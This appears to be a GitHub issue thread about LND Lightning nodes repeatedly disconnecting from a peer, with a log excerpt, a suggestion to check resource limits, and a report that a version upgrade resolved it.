2024-01-13 19:50:06.569 [INF] PEER: Peer(03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5): disconnecting 03aab7e9327716ee946b8fbfae039b0db85356549e72c5cca113ea67893d0821e5@<IP_ADDRESS>:9735, reason: unable to start peer: unable to read init msg: read next header: read tcp <IP_ADDRESS>:34030-><IP_ADDRESS>:9735: read: connection reset by peer

Hope this helps 👍
2024-01-12_River-Node-2-disconnects.log

Maybe verify soft and hard limits? To make sure you aren't hitting resource limitations?

This issue was indeed resolved by upgrading to 16.4. Thank you for the help all.
At all times lncli did "work", although the commands connect and disconnect returned success but did not have any effect.

This issue was indeed resolved by upgrading to 16.4. Thank you for the help all.

Hi @SachinMeier do you mean upgrading to 17.3?

Closing this issue. Feel free to reopen, if the problem reoccurs with the latest version of LND. Thanks